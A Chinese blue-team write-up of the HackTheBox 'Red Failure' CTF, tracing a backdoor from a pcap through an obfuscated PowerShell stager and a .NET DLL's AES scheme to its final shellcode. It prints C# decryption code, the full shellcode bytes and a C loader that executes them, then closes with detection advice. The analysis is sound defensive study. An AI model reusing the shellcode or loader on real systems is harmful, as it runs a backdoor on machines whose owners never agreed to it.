九维团队-蓝队(防御)| CTF靶场练习杂谈-从流量分析到shellcode调试
写在前边 本文介绍了对HackTheBox中的Red Failure靶场进行挑战的过程,主要内容为流量分析、流量解密以及shellcode内容提取。
01 wireshark提取文件
文件下载下来是一个capture.pcap文件,wireshark打开,发现主要是HTTP协议,过滤下内容。
- (http.request or tls.handshake.type eq 1 ) and !ssdp
复制代码
发现有下载内容,wireshark导出这三个文件。
02 Shellcode提取
用记事本打开4A7xH.ps1文件,看到文件内容做了一定混淆处理:
借助github上面的反混淆脚本处理后就得可得到。
- 项目地址:
- https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler
复制代码
*左右滑动查看更多
ps1脚本的作用大概为启动一个explorer.exe进程然后访问目标url获取调用的内容,但是获取的9tVI0的内容是乱码,就要通过dll文件来看他是如何解密的。
使用dotpeek打开user32.dll文件,在Detonator.cs中发现这些传入的数据是如何进行处理的,要获取明文数据,要对其进行AES解密,其中密钥使用密码进行获取。
在AES.cs中就可以看到AES加密的方式,可以得知key的值是password的sha256,iv是数据的前十六位。
既然都知道key、iv的获取方式,现在就可以对数据进行解密了。从wireshark中导出9tVI0的数据出来,用010editor打开就可以获取到值,或者也可以在wireshark中复制。
然后可以通过调用dll文件的内容进行shellcode的提取: - using System.Security.Cryptography;
- using System.Text;
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.IO;
- public class redfailure
- {
- public static void Main()
- {
- string password = "";
- Console.WriteLine("Key:");
- byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
- using (SHA256 sha256Hash = SHA256.Create())
- {
- string hash = GetHash(sha256Hash, password);
- Console.WriteLine(hash);
- }
- Console.WriteLine("\r\n");
- string data = "9907bb679e1765dcbdb467c1c4b00d213b3f708679dc12e5352ff4ac0fbbdf6a57e4fa094a4d03ffba9ef251c2c57100df04dff882dcd4373e0d0bba5c6b642c4e4d7e2e46bd25c20c5865c027fac0cad8a0120d3e5efd31c8f16fb87bf90718b91b47592fac8834dc1b1c92d1efa0087edd678746421c01d4d22aa3b600649daacd7f0d2f7e9a9c9057c13ea6798c158fd843de556542ac477f20f6386df535a5dd46199b168bb2b13dc32ee1c9d4b20147442d08dfd1941ae034b5ff76a89f01cdf16a35e257927caa02d2b654bb85de2757a0a42793721bbc257d90b757dd0847d331776bb6b96800168f12204938fbec003ce9ab5e90b5bc57b9ac79efc405163028bd0c494d47db4f973d43dd62df1eeb809105afff6d6e8a0ea653ec9c03a620954981f65bdb4714abbdcf1613fce7a844f0c794dd2ba1811435fa62eed2c3da753437bcaa4722739ec365e1d6";
- byte[] dataBytes = StringToByteArray(data);
- byte[] numArray = Decrypt(key, dataBytes);
- Console.WriteLine("Shellcode:");
- Console.WriteLine(BitConverter.ToString(numArray).Replace("-", string.Empty));
- }
- private static string GetHash(HashAlgorithm hashAlgorithm, string input)
- {
- byte[] data = hashAlgorithm.ComputeHash(Encoding.UTF8.GetBytes(input));
- var sBuilder = new StringBuilder();
- for (int i = 0; i < data.Length; i++)
- {
- sBuilder.Append(data[i].ToString("x2"));
- }
- return sBuilder.ToString();
- }
- public static byte[] StringToByteArray(string hex) {
- return Enumerable.Range(0, hex.Length)
- .Where(x => x % 2 == 0)
- .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
- .ToArray();
- }
- private static byte[] PerformCryptography(ICryptoTransform cryptoTransform, byte[] data)
- {
- using (MemoryStream memoryStream = new MemoryStream())
- {
- using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoTransform, CryptoStreamMode.Write))
- {
- cryptoStream.Write(data, 0, data.Length);
- cryptoStream.FlushFinalBlock();
- return memoryStream.ToArray();
- }
- }
- }
- public static byte[] Decrypt(byte[] key, byte[] data)
- {
- using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
- {
- byte[] array1 = ((IEnumerable<byte>) data).Take<byte>(16).ToArray<byte>();
- byte[] array2 = ((IEnumerable<byte>) data).Skip<byte>(16).Take<byte>(data.Length - 16).ToArray<byte>();
- cryptoServiceProvider.Key = key;
- cryptoServiceProvider.IV = array1;
- Console.WriteLine("IV: ");
- Console.WriteLine(BitConverter.ToString(array1).Replace("-", string.Empty));
- Console.WriteLine("\r\n");
- cryptoServiceProvider.Mode = CipherMode.CBC;
- cryptoServiceProvider.Padding = PaddingMode.PKCS7;
- using (ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor(cryptoServiceProvider.Key, cryptoServiceProvider.IV))
- return PerformCryptography(decryptor, array2);
- }
- }
- }
复制代码
*左右滑动查看更多
03 构建加载器
获取到shellcode后,放入加载器,并在第十行进行断点调试。 - #include <stdio.h>
- #include <windows.h>
- using namespace std;
- int main()
- {
- char sc[] = "\xdb\xd9\xbe\x47\x7c\xd0\x53\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x48\x31\x72\x19\x03\x72\x19\x83\xea\xfc\xa5\x89\x2c\xbb\xab\x72\xcd\x3c\xcb\xfb\x28\x0d\xcb\x98\x39\x3e\xfb\xeb\x6c\xb3\x70\xb9\x84\x40\xf4\x16\xaa\xe1\xb2\x40\x85\xf2\xee\xb1\x84\x70\xec\xe5\x66\x48\x3f\xf8\x67\x8d\x5d\xf1\x3a\x46\x2a\xa4\xaa\xe3\x66\x75\x40\xbf\x67\xfd\xb5\x08\x86\x2c\x68\x02\xd1\xee\x8a\xc7\x6a\xa7\x94\x04\x56\x71\x2e\xfe\x2d\x80\xe6\xce\xce\x2f\xc7\xfe\x3d\x31\x0f\x38\xdd\x44\x79\x3a\x60\x5f\xbe\x40\xbe\xea\x25\xe2\x35\x4c\x82\x12\x9a\x0b\x41\x18\x57\x5f\x0d\x3d\x66\x8c\x25\x39\xe3\x33\xea\xcb\xb7\x17\x2e\x97\x6c\x39\x77\x7d\xc3\x46\x67\xde\xbc\xe2\xe3\xf3\xa9\x9e\xa9\x99\x2c\x2c\xd4\xec\x2e\x2e\xd7\x40\x46\x1f\x5c\x0f\x11\xa0\xb7\x6b\xed\xea\x9a\xda\x65\xb3\x4e\x5f\xe8\x44\xa5\x9c\x14\xc7\x4c\x5d\xe3\xd7\x24\x58\xa8\x5f\xd4\x10\xa1\x35\xda\x87\xc2\x1f\xfa\x49\x59\xd4\xdb\xe0\xd2\x71\x6e\x2b\x7e\x17\xe7\x47\x12\x82\x85\xb7\xc8\x04\x3e\xfa\x77\xa5\x8e\xca\xb7\xf5\x9e\x59\xe8\xc4\x01\xea\x26\x53\x8a\x7e\x2a\xe2\xad\x18\x82\x66\x35\xd5\x96\xd9\x88\x61\x2b\xc4\xca\xa6\xb2\x6c\x6f\x82\x14\x03\x0a\x80\x74\xb7\xbb\x0b\x15\x2b\x23\xbe\xba\xc6\xdb\x1e\x25\x4d\x71\x36\xcb\xe4\xfa\xbc\x61\x96\x88\x53\xf7\x2b\x51\xc6\x9a\xa2\xfd\x7a\x01\x47\xde\xad\xa8\xc3\x7a\xb2";
- void* mm = VirtualAlloc(0, sizeof sc, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- memcpy(mm, sc, sizeof sc);
- ((void(*)())mm)();
- return 0;
- }
复制代码
*左右滑动查看更多
04 Shellcode调试
跳转到反汇编处,关键汇编如下:
- 00341042 movs word ptr es:[edi],word ptr [esi]
- 00C00000 fcmovnu st,st(1)
- 00C00002 mov esi,53D07C47h
- 00C00007 fnstenv [esp-0Ch]
- 00C0000B pop edx
- 00C0000C sub ecx,ecx
- 00C0000E mov cl,48h
- 00C00010 xor dword ptr [edx+19h],esi
- 00C00013 add esi,dword ptr [edx+19h]
- 00C00016 sub edx,0FFFFFFFCh
复制代码
*左右滑动查看更多
ECX为1时候到达数据末尾:
05 建议
1.从该后门回连的url是IP地址加上五个由数字和字母组成字符串,可以通过正则匹配来匹配这种特殊http请求,通过使用AiNTA流量分析系统自定义规则对局域网系统流量进行全局监控匹配。
2.也可以通过使用EDR系统中脚本加载的病毒防御功能对于下载powershell脚本进行查杀。
06 总结
总体而言,这道题目的解题思路十分直接,从wireshark提取文件到执行shellcode,考查powershell运作,dll文件读取,shellcode提取以及shellcode运作方式。
在解题过程中,遇到了一些困难,在解密9tVI0上,可以直接调用作者写好方法,而不用找在线解密或者自己写;在分析shellcode过程中,对于汇编语知识的不熟悉,最后笔者也在其中收获良多。
|